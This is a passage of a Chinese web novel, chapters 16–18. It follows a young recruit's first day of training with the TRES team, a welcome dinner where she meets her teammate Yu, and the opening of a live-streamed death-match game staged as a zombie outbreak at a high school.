老钱给小孩儿递拖鞋:“你穿这个。” “对了。”老钱突然不自然地咳了声,道,“我们战队有个规矩,虽然没写在合同上,但是大家都得遵守。” 温知初抬眼:“您说。” 她总感觉有股刺骨的眼神正在盯着她,但抬起头,别墅里空荡荡的,这个时候,队员们应该都在其他楼训练。 那种獠牙般的探视,应该只是她的错觉。 落地玻璃外,茫然都是雾,花草隐于水气之间。 老钱:“我只是提一嘴啊,没有别的意思…” 他又咳嗽了几声:“战队里无论未成年还是已成年,战队内部不能谈恋爱。” 温知初漫不经心地点头:“知道了。” 一条很容易遵守的规矩。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 16-20 第16章 老钱穿的教练服很像军服, 说起正事,面色肃然许多:“其他人还在训练,今天的日程是分开来训练的。” 按人情道理, 应该先给新来的小孩儿办个欢迎会之类的再带她去训练, 但是时间来不及了, 训练必须按规章走。 从外面走来了七八个训练官, 朝门内走来。 老钱:“这是给你配的训练官、研究员, 负责记录数据还有调整你的训练计划,先都认识一下。” 温知初看过去, 稳重地握手。 老钱:“主训练官是我。” 时间紧迫, 他亲自带温知初。 老钱:“没时间休息了,现在开始训练章程, 小温…你没意见吧?” 温知初颔首。 她来的时候已经换上了TRES的队服,上身是灰色的磨毛短T,下身是迷彩裤,脖间系着灰绳。 一个女训练官走过来,给她的右肩系护肩,同时也是一个生命体征检测设备。 女训练官个头相对娇小, 系的时候得踮脚,温知初从她的手中接过黑色的护肩,轻声道:“谢谢, 我自己来。” 老钱:“走, 去训练场地。” 一行人往训练场馆走。 在路上, 钱丰宣布了一个出乎所有人意料的大消息:“就在今天凌晨, 联盟发来了通知,告知了我们SS联赛的时间。” 他面容凝重:“我没想到时间会安排的这么紧凑…” 训练官察觉到不太妙的气味:“什么时候?”总不能新人才加入,不给他们训练时间就… 老钱停下脚步:“明天。” 这话落下, 雾气里的脚步声都变重了,训练官们接连倒抽几口凉气。 温知初走在最后面,面色淡淡的,像是没听到明天这两个字似的。 她踏上台阶:“收到。” · 训练官:“温队员,你作为一名辅Vant(Vanguard),目前的训练主要针对提升侦查能力、机动性和团队辅助战斗能力,训练量较大,过程中要注意提炼战术思维。” 哪怕只有一天的训练时间。 时间之紧迫,比起训练,更像是来熟悉训练日常。 温知初走进三号训练场馆。 在入口扫描终端后,训练场地的地图在眼前展现。 高大的隔音玻璃墙,隔开场馆中不同的功能训练区。 力量区:布满负重器械、攀爬墙和拉力装置。 敏捷区:有环形跑道,动态障碍物和感应靶。 战术区:配备有虚拟现实模拟器和动态地图分析仪。 实战区:全封闭模拟战场,布置有多种环境场景,包括废墟、森林和城市街区。 恢复区:涵盖冰池、按摩设备和生理数据恢复装置。 训练官对这个新来的小孩儿感到同情,毕竟一上来就这么大训练量的,除了Yu之外,没有人经受过。 034号默默为宿主默哀了三秒钟。 这是训练人?这是训练超人吧! 训练官:“温队员,吃过早饭了吗?” 温知初:“吃过了。” 034号:[不,她没有吃过。 ] 温知初从训练官手中接过30公斤的背包,背在身上,进行第一项训练。 负重跑。 每一圈3公里,地形包括上坡、碎石路和狭窄桥梁。 总圈程三圈,心率需要稳定在120-140。 修长的身影没有废话,沿着跑道跑起来。 跑道外,训练官们看着显示屏,监察温知初身体的每一项数据。 训练官一:“姿势很标准,看起来经常跑步的样子。” 训练官二:“速度合格。” 训练官三:“气息极其稳定。” …… 三圈结束后,训练官们停止讨论,脑海里只留下了一个想法—— 这样的队员,怎么可能只有E级。 负重跑结束后,温知初放下背包,呼吸没什么变化,只是面色红了些。 接下来要去敏捷区。 训练官:“你需要在动态障碍物中穿梭,跨越高墙、匍匐通过狭窄隧道,同时感应靶会随机出现,必须在一分钟内作出反应并标记靶点。” 温知初点头,她其实不渴,但还是喝完了训练官递来的矿泉水。 放下空瓶子,躬身进了隧道。 总共三轮赛道的训练,累计失误时间不得超过20秒。 训练官在后台记着时间。 但温知初没有给他们这个机会。 直到她从隧道里走出来,后台的设备都没有亮一次。 训练官们惊讶地望着走来的温知初,恍惚间,好像看到了另一个Yu ,不,比起Yu ,她好像还要更可怕些… 这么小的年龄,怎么能这么稳… 温知初走过来,双腿笔直而修长,她淡淡地抬眼:“接下来干什么?” · 中午之前,温知初在战术区完成了战术规划和执行的训练—— 在动态地图中,迅速规划路线,模拟寻找失踪目标的场景。地图中随机加入干扰信号和陷阱,考验压力下的判断力。 这其实Tact位的主要训练项目,但作为SS赛队员,必须全面发展。 不过训练目标比Tact位略微放松些: Tact位要求找到找到并解救“目标”后撤离,时间不超过15分钟。 Vant位30分钟内完成任务就行了。 温知初花了14分钟。 下午训练射击和突袭。 吃完中饭后,温知初拿起枪,去了靶场。 靶场布满冷灰色的移动隔板,区域内随处可见被掩护墙和障碍物分割开的狭窄通道。 四周安装了数十台传感器,用于实时捕捉队员的动作轨迹与弹道。墙壁上嵌入多处隐藏靶,闪烁着红色微光。 灯都关了,模拟夜晚的战斗条件,让视野显得模糊不清。 训练区域的边缘,七名训练官通过观察台监控屏幕,记录着温知初的每一个动作。 “准备,三、二、一!”训练官吹哨。 十个目标靶从不同位置缓缓升起,随后迅速移动——有些在轨道上滑行,有些突然从掩体后弹出,还有些在低空飞行。靶点随机变化颜色,只有红色为有效目标。 温知初握住手枪,右手食指搭在扳机上,左手稳稳托住枪柄,深黑的双眼平静。 砰!砰!砰! 三声枪响划破空气,三个红靶应声倒下。 她的耳机内传来训练官的声音:“命中率100%,继续!” 突然,一个靶从右侧低位滑出,目标仅停留两秒。 温知初立刻转身,膝盖微蹲,右臂精准地朝目标延伸,扣下扳机。 命中。 长达一个小时训练中,强度不断升级,靶点的颜色快速切换,试图干扰训练者判断。 温知初眯起眼睛,屏蔽不必要的视觉信息,专注于仅仅0.5秒间闪现的红色靶点。 砰!砰!砰! 最后一轮五发射击完成。 温知初抬眼,收枪,摘下了耳机。 训练官们聚在一起,激烈地讨论着什么,而后开始重新布置场地。 温知初给枪装上子弹。 动态靶场的布局切换为废弃仓库模拟场景,温知初戴上耳机。 耳机的另一端传来训练官的声音:“据点内共有五个目标,温队员,任务是清理全部目标并标记核心区域。” 温知初颀长的手指在耳机上轻轻地扣了一声:“收到。” · 一天的训练结束后,已然是傍晚。 老钱和一群训练官站在场地外,围在一起抽烟,夜光下,火光一亮一亮的。 想起今天的训练,所有人的心中都不由地升起同一个感觉。 欣慰。 能力高的人都容易傲,容易不服从,但这些点在新来的小孩儿身上一点都没有看到。 老钱抹了一把脸:“我们队其他那些兔崽子,不管主力还是非主力,刚来的时候傲的像什么样,一个个的,基本上都花了一个月左右的时间,不断给他们提训练难度,才终于把他们的性子给压下去了…真该让他们来看看小温的训练。” 另一个训练官:“真是个好苗子…” 不得不呢喃:“比想象中还要好很多…” 无论从哪个方面。 一想到明天就是SS赛,几个人围在一起,烟雾怅惘着愁意。 温知初的表现,很大程度上缓解了这些人内心的焦急。 烟灰掉落在地上。 训练官:“多有礼貌的小孩儿…” 他道:“谁说小温是道德E的,这明明是道德S。” 大写的S! 他们手底下一群道德A的,皮的皮,混不吝的混不吝。 要是道德E是这种品性,他倒希望所有的队员都能道德E一样。 老钱拍了拍众人的肩:“人小孩儿争气,进了队,我们就要好好带。” 训练官们:“当然。” 明天的事,就先交给明天吧。 · 到了傍晚,雾气反而更重了。 温知初回到了主别墅,已经洗漱好了。 她走出浴室的时候,楼下断断续续传来谈话声还有搬椅子、桌子的动静…饭菜的香味传来。 她略微挑眉。 刚才回来的时候,还没有任何人在。 034号:[宿主,他们训练完回来了。 ] 034号:[今天晚上算是给你办的欢迎会啊。 ] 二楼落地窗前,平常吃饭的地方被装饰上了星星灯,圈成一个简单的Wee。 餐桌是一张长达十几米的长桌,长桌两侧摆放着椅子。 餐厅的落地窗外是一片修剪整齐的花园,灯光透过窗帘的缝隙,可以隐约看到花园中的喷泉。 窗外的夜风带来了一丝清凉,混杂着浅淡的玫瑰与草木香气。 温知初一身常服,从楼梯上走下来。 走到最下面一层台阶的时候,沙发上坐着的主力队员们全都望来。 当看到人群中并没有晏逾明后,温知初的神色更为平静。 老钱率先走上前:“来,小温,这些就是你以后要朝夕相处的队友了,都认识下。” 邱任望、将铭、章诎、屈孚宁全都站起了身,走到她面前,一个一个地握手过去,表示欢迎。 温知初:“大家好,我是温知初,以后请多多照顾。” 邱任望最热情:“温知初!谁不知道你!” 将铭的神情终于不是一脸面瘫:“多多照顾。” 章诎眯着狐狸眼,握手的时间尤其长:“我是章诎, Tact位的。” 屈孚宁一直低着头:“你好…”握完手后,强迫自己不立即收回手。 老钱:“老大…Yu呢?” 邱任望:“老大出去拿东西了…” 他的视线越过温知初,望向她身后:“来了。” 身后响起脚步声,温知初颀长的手指曲了曲,她转过身。 高大修长的身影踏上台阶,身着训练服,脚步不疾不徐,黑色军靴踩在台阶上发出沉稳的声响。 明明还有一段路,眼神却早已落在温知初的脸上,目不转睛。 他走近,略微垂首,视线从上至下地盯着温知初,嘴角不经意地勾起一个弧度,侧脸的轮廓却十分冷漠:“来了?” 温知初回望,礼貌而冷淡地颔首:“你好。” 这气氛… 邱任望莫名觉得有点儿不对劲,他招呼道:“走走走,去吃饭。” 老钱应声:“走!” 一群人里,晏逾明走在了温知初身后,自从他来后,那股炙热的视线,就没有从温知初背后离开过。 不算有多友好。 太过冷漠。 邱任望:“ Yu哥,你刚才出去拿什么了?” 晏逾明望着温知初,骨节分明的手抬起,露出手上的拎着的一袋草莓牛奶。 晏逾明:“给新来的小朋友买的。” 邱任望提声:“温呐,Yu哥给你买牛奶了…我也给你买零食了,放在一楼,你到时候自己拿就行了啊。” 温知初没抬眼,但还是礼貌性地回应:“谢了。” 晏逾明垂下手腕,把牛奶放在了她的左手边。 老钱站起身,开始说起祝酒词。 晏逾明落座,高大的身影坐在了一个离温知初较远的位置,他冷漠地低头望终端。 034:[宿主,这牛奶。 ] 它盯着桌上的Yu买的牛奶。 [便利店的时候…]034号道,[宿主你好像说过你不爱喝这个…] 虽然事后买了十瓶就是了…典型的盲目追星… 温知初的视线落在眼前的牛奶瓶上,牛奶散发着热气,包装上印着熟悉的Torix 。 温和的眼神难得带上了一丝茫然。 终端兀的传来一声叮,信息弹出来。 未命名: [这次还喜欢喝么? ] 是不喜欢喝…还是不喜欢喝他买的牛奶… 温知初抬眼,像是明白了什么,她望向晏逾明,修长的手指蜷缩了一下。 晏逾明盯着她,略微抬起手中的白兰地。 第17章 草莓牛奶喝完了。 温知初不紧不慢地吃完,全程话很少,只有别人cue到她的时候才抬起头回应,偶尔笑一笑。 温和却冷淡。 只有034号知道, 这一整场晚饭, 宿主的心跳没下过一百一, 比训练障碍赛的心率还要高… 034号:[……] 正餐结束, 机器人把餐盘收走, 队员们围在沙发边吃水果。 邱任望担心温知初怕生,给她单独装了一个碟子的水果让她吃。 温知初接过碟子:“谢谢。” 邱任望:“别紧张啊。我们还都挺好相处的。” 034号:[宿主她现在一点都不紧张, 自从你坐过来之后, 她心率都变成七十几了。 ] 晏逾明坐在另一侧的沙发上,戴上眼镜, 已经在开始看书。 温知初略微抬起眼,记住了那本书的名字。 老钱和一个训练官走过来, 拍了拍手掌:“还是说下明天SS赛的事儿。” 老钱抱有歉意地望向温知初:“今天有新队员过来,本来应该一起出去玩玩儿的,但现在实在没有这个时间。” 章诎眯起狐狸眼:“以后补回来。” 邱任望:“对!” 温知初漫不经心地颔首,对这些事并不感兴趣。 将铭:“明天的SS赛,知道赛制了么?” 老钱:“不知道,全封密。” 训练官的神色变得严肃:“不知道形式,不知道有没有新的规则, 无法研究, 一切都不可控。” SS赛的直播是没有传播途径, 被联盟封禁起来的, 只有一些死亡片段流露出来。 这意味着没有可靠的参考。 时长、关卡、维度、生死…一切都不可控。 训练官:“不过大家也算是身经百战了,我相信就算面对这些不可控,你们也能做出最优解。” 老钱抬起手表:“这会儿已经八点多了,其实也不晚,但是为了明天,大家还是保持精力,回去好好养精蓄锐。” 训练官:“不要太紧张,但也不能完全没有紧张感。” “解散!回去休息!” 别墅的灯变暗,所有人站起身,往自己的房间走。 大理石地板上,响起不规律的脚步声。 温知初走向东边的楼梯,一边往上走,一边低头望向终端。 把[未命名]改名为[Yu]。 她的终端列表联系人很少,不用刻意做什么, Yu就在终端的首页。 温知初瞥了眼自己的终端,放下了手。 走到楼梯间的平台时,偌大的落地窗外,雾气飘飘渺渺,树叶在白雾中若隐若现。 纤瘦修长的身影倒映在玻璃上。 034号: [宿主,你不担心么… ] 034号: [便利店的时候,男主给你买的牛奶你拒绝了,但是网页端的用户名却又是草莓牛奶挺好喝,这可怎么办…有种喜欢喝草莓牛奶,但是不接受你买的草莓牛奶的既视感… ] 034号: [男主肯定以为你…讨厌他。 ] 温知初停下脚步:“那就这么认为吧。” 嘴上这么说,她的嘴唇不易察觉地抿了抿。 温知初:“也算是…” 她双手插兜,继续往上走:“歪打正着。” 毕竟他们之间最好的距离,就是靠近,却不要太靠近。 正如窗外这场雾,卷走了太多细节和水汽。 · 西边的楼梯,队员们往上走。 邱任望:“小温她真的…不上镜啊。” 照片上好看,实际上看到更是… 偏心! 女娲绝对偏心! 光站在那儿,就跟单独开着滤镜似的,尤其是那双深黑的眼,跟能看透人的灵魂一样。 就连屈孚宁也开口:“小孩儿长得很好看。” 章诎不太关注人的长相:“比想象中稳重太多。” 站在他身旁的将铭应声:“是啊,这才多大点…” 邱任望:“但我觉得啊…” 他环顾四周,先确定老大人不在这里。 他道:“我感觉小温好像不怎么喜欢老大。” 章诎看了他一眼。 邱任望举起双手:“我不是瞎说啊…你们没有发现吗,小温只有对着老大的时候,语气才那么冷淡,话更少。” 邱任望一向是队里最善于察觉情绪的人,高敏感。 章诎:“可能是有些怵。” 邱任望摇头:“不是这种感觉啊…” 他望向将铭,突然嘶了一声:“不会是因为你吧…” 将铭面瘫着一张脸:“?” “你想啊,之前采访的时候,小温不是说欣赏你吗,也算是你的粉丝…”邱任望开口,“而你知道你在星网上,曾经多次被Yu哥的毒唯粉丝冲吗?” 其实是双方定位冲突,粉丝打架,但是Yu的粉丝量大到可怕,看起来像是单方面被冲。 自从晏逾明加入TRES ,取代将铭的主Carn位之后,吵架就没停过。 将铭本人不在意这些事,毕竟适者胜任,但他的粉丝很心疼他,总觉得他的位置被黑幕了。 邱任望越想越觉得对劲:“就是因为这个原因…所以小温不喜欢Yu…” 话没能说完,将铭打断他:“少想这些有的没的。” 章诎笑着摇头:“你该去写电视剧。” 也许只是磁场不合,没必要这么发散思维。 屈孚宁低声开口:“明天…就是SS赛了,我们先回去休息。” 队员们互相点了点头,各自散开。 别墅内顿时冷清了不少。 · 温知初在落地窗前驻足片刻,走回三楼。 终端亮起,有新的信息传讯而来。 老钱:[有个事儿我忘了跟你说了。 ] 老钱:[关于SS赛的。 ] 老钱:[现在我赶回去来不及了,我记得Yu和你房间同一层,我让他跟你说。 ] 看到这条消息的时候,温知初已经走回自己的房间外。 房门旁,倚靠着一个高大而慵懒的身影,看着她走来:“怎么才回来?” 温知初垂眼,塞在裤兜里的手指蜷缩。 啧。 为什么第一天就要给她这么多考验。 她开口:“看了会儿风景。” 她去吃晚饭的时候没有关房门,印着不大不小的门缝,露出里面布局。 粉嫩嫩的,完全是基地的直男审美。 晏逾明朝她走来:“住的惯?” 温知初略微点头:“还行。” 忽略她刻意避开的目光,少女看起来冷冷淡淡的。 晏逾明:“不喜欢房间的装修,可以让老钱找人帮你换。” 温知初抬眼,绕过话题:“ Yu哥,教练说让你找我说SS赛的事。” 晏逾明垂眼望向她,对Yu哥的称呼略微挑了挑眉。 温知初说出这个称呼时,谈吐礼貌却依旧疏离。 晏逾明:“SS赛啊…你知道剧情这种存在吗?” 034号:[!] 034号:[哪个剧情,是我老东家的那个剧情吗? ] 034号:[宿主,小心!他可能在试探你! ] 为什么SS赛会和剧情有关? 难不成老东家真的藏在了SS赛里? 温知初:“剧情?” 她问:“什么剧情?” 她平和地问。 晏逾明:“听说过剧情游戏么?” 温知初:“指的是…” 她整理措辞:“那种需要角色扮演的游戏?” 晏逾明:“可以这么说。” 他开口:“训练官推测,接下来的SS赛,可能会加上含有剧情的规则。” <深渊>是对抗竞赛,是生死杀戮竞赛。 但现在,SS赛有极大可能性会引入一套新的规则来增加竞赛的难度。 当生死竞赛有了剧情,随机散布的剧情可会带来诸多不便和风险。 举个例子,敌方的人有可能在剧情内成为伙伴,让人无法动手,难以抵御偷袭;而己方的队友也有可能在剧情内成为敌人… 诸如此类。 这么一发散,行动一下带来太多变数。 温知初垂首,唇线抿直,脑海里思绪很多。 晏逾明略微勾起唇角,盯着她,突然觉得这个小孩儿从某个角度看,莫名有些…呆。 情绪很稳定,但什么情绪都摆在脸上。 讨厌他,也讨厌的明明白白。 温知初本来还在想SS赛的事儿,耳边响起低沉的声音。 晏逾明:“草莓牛奶挺好喝?” 他喊了她的id。 话题一下又变了。 晏逾明垂眼盯着她:“真的爱喝草莓牛奶?” 温知初:“也就…还行。” 晏逾明刚才在餐桌上一直在观察她,从温知初的表情来看,他觉得这位小朋友,其实对草莓牛奶,确实也就还行。 晏逾明:“便利店那次…” 温知初兀然开口:“那时我、”她顿了下:“怕生。” 耳根快要烧起来了。 晏逾明:“怕生?” 他意味不明道:“小朋友,不管是什么原因,不要把负面的情绪带进明天的SS赛,好吗?” 他弯下腰,凑近望她,似乎想就近观察她的表情。 温知初猛地往后退了一步:“嗯…嗯。” 晏逾明略微提起唇角:“没有否认…真对我有负面的情绪?” 温知初没有再开口。 耳畔响起了轻笑,一瓶牛奶被塞到她的手中,滚热的。 这回是原味的。 晏逾明:“不喜欢的口味不要强迫自己喝。” 他开口:“换个口味试试,看你喜不喜欢。” · 晚上十点的房间静悄悄的,台灯亮着微光。 一道身影保持伏在桌上的动作,几乎像是凝固了,耳根红红的。 034号:[……] 自从八点半宿主回到房间,把牛奶喝完后,就一直趴在桌上,趴到了现在。 出息! 034号犹豫再三,还是开口:[宿主,我这里有一整套攻略章程,包括奖惩升级体系,你还是试一试…] 宿主坐直了身:“不试。” 034号望向桌上像是被供着的空牛奶瓶,恨铁不成钢: [宿主,你知道男主刚才递给你牛奶的时候,杀意值有多高吗—— ] 当时它差点以为牛奶有毒。 但是转头一想,男主杀人这么有仪式感,没到宿主成年的生日,应该不会动手。 温知初漫不经心道:“我知道。” 无所谓。 不是什么很重要的事。 她的后背倚靠到椅子上,捏了捏自己的耳垂。 唯一重要的是…希望以后耳根不要动不动就红了。 希望面对他时,能产生耐受性。 深黑的双眼望向窗外。 雾,散了。 · 凌晨四点。 不用闹钟,温知初睁开了双眼。 换上队服,踩上军靴,把拉链拉起来,碎发垂在额前。 温知初斜挎起背包,下楼。 凌晨的风尚且凉,所有人在门口集合。 军用卡车运着主力队员和训练官,徐徐循着夜色 离开。 最终到达目的地的时候,天还没亮,卡车的厢门打开,队员们往下跳。 温知初拒绝了训练官要接她下来的动作,从卡车上跳了下来,轻声落地。 034号一反常态地没有说话。 它察觉到熟悉的感觉…是剧情… 剧情确实笼罩了这片土地… 眼前的是一片荒岭,散发着数据流的光芒,在域展开之后,将会变换成<深渊>SS赛的专用场景。 老钱:“没时间寒暄了,域已经展开了。” 训练官:“进去后,一切见机行事,无论发生任何事,无论输赢,必须要活着。” 必须活着。 像他们这种程度的人才,消耗任何一个都是巨大的损失。 数据流风暴般开启,形成一个开口,域展开。 队员们一个一个地踏入了域,耳机旁响起教练的声音。 “一切小心。” 温知初弯腰,低身踏入了域。 广播:[领域展开。 ] 广播: [SS赛程开启。 ] 广播: [赛制:长时剧情赛;剧情将随机为各位分配角色,请遵守杀戮和剧情规则。 ] 广播:[注意保护自己的意识,警惕任意剧情带来的错觉。 ] 随着冰冷的电子声,温知初身处一片漆黑中。 她的周身是一片漆黑,她无法睁开眼,不知身处于何,只知道闭塞的房间里,只有她一个人。 脑海中展露了一个数据屏。 剧情:丧尸病毒将于今日下午爆发,高三四班全班人被困于学校,一起自救,渡过难关,直到等来救援。 人物:你是高三四班的副班长,一名阴郁的女高中生,因为落选班长以及成绩的落后,你很厌恶正义的班长,觉得他虚伪。 必完成剧情:背叛剧情中来救你的人。 034号:[……] 这就是幸运E的威力吗,抽人物的运气真够衰的,随便就被分配到一个反派阴湿女高身份。 034号:[宿主,那位正义的班长…是男主。 ] 又得背叛来救她的人…宿主抽到这个角色…算不算本色出演啊。 温知初:“我知道。” 角色的数据记忆中,她已经看到了那位正直班长的信息。 数据屏消失,黑暗的屋子内,温知初站起了身,她睁开了双眼…亦或是,副班长睁开了双眼。 温知初走上前,拉开厚重的窗帘,刺眼的日光穿过窗户透进来。 闹钟声响起。 七点半了。 该去上学了。 敌方,显然也已经就位了。 第18章 光屏上由一片漆黑到逐渐有亮光, SS赛的直播开启,弹幕纷至沓来。 [SS赛终于开始了,我可终于能发弹幕了, 我都快把新赛制的规则背下来了。 ] [鬼知道我为了看这SS的直播做了多少测试和体检, 反正我A级也差点被刷下去了。 ] [我S级,差点因为资产不够多不能看直播。 ] SS赛有了观看门槛后, 弹幕区的用户大多数都是A级和S级, 最低也有B级。 直播视频被<深渊>限制传播,连截屏都没办法截。 有人试图蹭朋友的直播特权和朋友一起看SS赛, 结果朋友能看到的光屏页面, 到了他们的眼中就是一片马赛克。 [别报等级了,0个人关心你们的等级, 看比赛,剧情开始了。 ] 光屏中, 一座高中的俯瞰图纳入眼帘。 初春,校园笼罩在清晨的朝阳中,教学楼的窗玻璃反射光亮。 远处的小山丘绿意盎然,爬山虎攀上校园的矮墙,不远处,穿着校服的高中生们三三两两踏入校园,校门口的老师吹起口哨,让这些懈于春光的年轻人们加快步伐。 [妈呀,好青春,第一次看这样开场的杀戮比赛,什么呀, <深渊>真要给我们演校园剧啊… ] [上学走得这么慢,这高中一看就不是卷学历的那种,我那时候都是跑着进学校的。 ] [不是,这么美好吗,要不别比赛了吧,就这样挺好的,我想到后面要发生什么脑壳都疼了。 ] [<深渊>…你还老子青春! ] 有的学生绕去了便利店,买了零食围在便利店外聊天。 社团的成员没有去教室,早早地去社团进行社团活动了,操场里已经有人在晨跑和打网球。 几个女生站在操场外,对着体育部的学长悄悄地尖叫。 楼梯上,拿着单词书背的学生往上慢慢地爬,睡眼惺忪,书包鼓鼓囊囊的。 早自习还没开始,教室里已经传来朗读声。 教室外的墙面儿上贴着一张张不同社团的招新报,色彩鲜艳,出来打水的学生一抬头就能看到。 几只麻雀被人声惊起,从树枝上扑棱棱飞走,留下微微颤动的枝叶。 温知初戴着有线耳机,肩膀斜挎着背包,纤瘦修长的身影在晨光中跟着人群走进了校园,周围都是欢声笑语,一片静谧美好的模样。 与此同时,体育馆东南角的仓库里一片昏暗,铁链子晃动的声音响起。 仓库里不经常有人来,堆砌废弃的器材和课桌椅,再加上地处偏僻,不断响动的铁链子声没有引起注意。 课桌椅的摆放有些奇怪,似乎是为了阻挡什么东西走出来,围成了一个圈,而铁链子声就是从包围圈中传出来的。 不久后,仓库外响起脚步声。 是两个篮球部的高二生。 今天下午,隔壁学校的体育生会来和他们一起打个友谊赛,他们想来仓库找找有没有多余的桌子椅子,篮球部的不够用了。 两人的交谈声在外面响起。 “有点奇怪啊,教练最近怎么一直没有在群里说话,我们都快打比赛了,最近都没见他的人影。” “你不知道吗,将教出国旅游了,最近都是李教带我们啊。” “我知道将教出国玩儿了,可他不是说上周五就回来吗?” “我不知道啊,要不你去高三问将铭学长,他是将教的儿子。” “我不熟啊。” 二人打开仓库,灰尘从里面扑朔往外扑。 两个男生挥了挥手:“好家伙,多久没有人来打扫这儿了。” 沉重的铁门打开,灯打开后,较后一个走进来的人习惯性地反手关门。 走在前面的男生突然叫一声:“卧槽!” 后面那个也跟着叫:“怎么了?” 男生一指向课桌围聚的地方:“吓我一跳,那坐着一个人…” 男生二:“…被吓到的我好吧,是坐了个人,不是坐了个鬼,你喊这么大声吓唬谁呢” 两人往前走:“哥们儿,你搁这儿休息啊,这么大灰尘你能睡得着?” 课桌围聚的地方,有个身影蜷缩在一个课桌下,背影看起来有些萧索,他的手腕被一个铁链子层层地套住。 男生一:“等等…好像是被锁起来了。” 男生二也看到了:“哥们儿,你没事吧?” 该不会是被锁在这儿锁了很长时间吧? 校园霸凌? 见一直没有动静,两人把外面的课桌椅挪开,能看到那哥们儿确实垂着头,一幅已经饿晕过去的样子。 男生一:“快报警。”说完,他走向前,蹲下身去解铁链子。 男生二拿出手机,已经开始报警,拨了一个1字,突然砰的一声,那个晕过去的人影突然暴起,拽住身前的男生,咬向了他的脖子。 男生二走过去:“喂,你干什么…就算再饿也不能啃我兄弟脖子啊…” 话没能说完,眼前,他猛地一抖,双眼睁大,手上的手机“啪嗒”掉在地上。 那个萧索的人影缓慢地抬头,正是消失了很久的将教! 他的头发乱糟糟的,脸色青黑,半张的嘴里,血淋淋都是血肉——从男生一脖子上扯下来的肉! 刚才还活蹦乱跳的男生,半个脖子没了,头颅不受支撑地倾倒。 将教歪歪扭扭地站起来,身体僵硬而扭曲,男生二的尖叫声卡在了脖子里,他扭头就跑。 墙倒映着人影,奔跑的男生被一双手抱住了脚,丧尸的嘴张大,咬向了男生的脚脖子。 尖叫声中,男生跪了下去,他匍匐着要往外爬,却已经再也站不起来,惨叫声被封在了灰尘阵阵的仓库内。 血液从门缝内缓慢地往外流。 而校园的其他地方依旧是一片欣欣向荣,有的在进校门,有的一边叼着早餐一边爬楼梯,有的在操场训练,有的在教室背单词,有的在树林里偷偷早恋… 树叶被日光晒得发亮。 春天,真的很美,让人的骨头里不由地生出一股懒意。 · 高三四班。 早自习开始了,但老师还没来,教室里吵吵闹闹的。 事实证明,就算班上有全年级第一,班级纪律该不好还是不好,反正山中大王(老师)不来,猴子们叫得可欢了。 学霸们一边啃苹果一边交流昨天晚上看的综艺。 后排的高个男生拿书本打乒乓球,乒乓球在高空中缓缓地划过漂亮的弧线,恰如学生们的青春。 “听说体育老师从国外回来了。” “将老师也该回来了,体育课都已经被语数英占了三周了,再不回来我亲自打飞的把他接回来。” “欸,将铭,你爸什么时候回来,给我们一个准信儿啊!” 手拿乒乓球打的,其中一人张着一张令所有直播观众都十分熟悉的脸——将铭。 人物资料卡弹出来。 姓名:将铭。 人物关系:高三四班体育委员,将老师的儿子。 性格:热情开朗,喜欢笑。 人物卡一摊出来,大片的问号从弹幕上空飘过去。 [] [] [] 而后,便是大片的哈哈哈哈… 竟然让!将铭!这个面瘫!演活泼开朗的体育生! ! ! 要知道,将铭这个人跟个不会做表情的木头一样,跟热情开朗这四个字完全是反着长的,心里除了比赛就是训练,但现在…居然拿着课本和后排的一群学渣打乒乓球。 将铭挥动着手中的课本,脸上露出僵硬的笑,像一个编码错误的机器人。 [哈哈哈哈哈哈哈不行。 ] [为什么不能截屏啊,这一帧帧都是表情包啊…新赛制真的太好玩儿了… ] [有种邱任望魂穿将铭的感觉。 ] [演技太差了,幸亏赛制不包括给演技打分儿。 ] 对于新赛制的扮演二字,其实没有强求到每一分每一秒都按照数字剧本走。 <深渊>给出的剧本里,对于他们的表演只要求完成剧本人物轨道的关键事件。 譬如背叛的人会在什么时候背叛,正义的人会在什么时候做出什么样的胜负行为,开朗的人会在什么时候为大家加油打气… 在关键事件发生的时候,不能违背人物剧本的逻辑。 这一个个关键事件构成了剧本角色的人生,形成一个个关键点。 都知道两点连成一线,至于这条线到底是直着来弯着来还是盘旋着来,就随个人的心意了。 有个性化的自由度。 完成笑着用课本打乒乓球这种呆事后,将铭保持僵硬的笑坐回课桌。 有人一来,他又必须完成笑着回应这种关键事件。 同学跨过椅子走过来,搭着他的肩:“体委,给个准话,你爸什么时候回来,今天下午的体育课该不会又是语数英吧?” 将铭嘴角强硬地往上挑:“他没跟我联系。” 他道:“应该快了。” 同学:“你这说了等于没说啊。” 同学一低头,差点被吓一跳:“体委…你这笑…” 他道:“好恐怖。” [哈哈哈,被NPC说笑得恐怖了,将队笑死个人。 ] 将队是观众对将铭的昵称,因为他在进TRES之前,在其他战队担任过一段时间的队长。 [不一定是NPC啊,说不定是敌方队员呢。 ] [敌方队员没有人物卡吗? ] [赛制不是说了,只公布TRES的人物卡,敌方队伍完全保密,可能会出联盟那里的保密队伍。 ] [卧槽,那么这么多人,无论善意的不善意的,都有可能是敌方啊。 ] [正解啊。 ] 教室里一直闹哄哄的,后排已经有人开始打篮球了,闹腾到隔壁的班主任走过来。 中年老师端着个茶缸走来:“干什么呢,都干什么呢?” 后排几个人像泥鳅一样溜回座位,其中包括一脸僵笑的将铭,他的手心还握着篮球。 [不行,将队的脸有毒,我一看就想笑。 ] 中年老师:“这是在上学还是在开集市啊?你们班主任没来就不知道自己好好学习了,都高三了,别告诉我你们还不知道为谁而学的!” 中年老师:“都给我安静点儿!好好早自习!” 中年老师:“班长呢?记得管管啊。” 中年老师一走,班上又闹起来了。 最后一排,一个高大的身影站起来,他站下耳机,从后排往前走。 男生双手插在校服裤兜里,懒懒地走到讲台上,周身的气质冷漠。 他随手拿起黑板擦,把黑板上留下的笔迹擦完,而后转身望向讲台下。 弹幕一片片啊啊啊啊啊啊啊,挤满了讨论区。 [啊啊啊啊啊Yu神! ] [Yu神! Yu神! Yu神! Yu神! ] [啊啊啊啊啊啊啊啊啊啊啊。 ] 人物资料卡弹出来。 姓名:晏逾明 人物背景:高三四班班长,家境贫寒。 性格:正义,圣父,老好人,大家尊敬他但不怕他。 剧本的自由度就在此时露出了痕迹。 老好人垂眼往下看,眼神漫不经心,却带着一种压迫感,所经之处,周围的声音不自觉地低了几分。班级里的喧哗像被切断了一截,学生们纷纷朝他看去,有人小声议论,却不敢出声过大。 就像大家觉得将铭的笑有点儿恐怖一样,他们也觉得老好人班长的眼神过于具有震摄性。 晏逾明:“书拿出来,早读。” 不影响关键事件的震摄感让同学们不由地拿出了课本,官大一级吓死人,更何况是看起来没那么老好人了的班长。 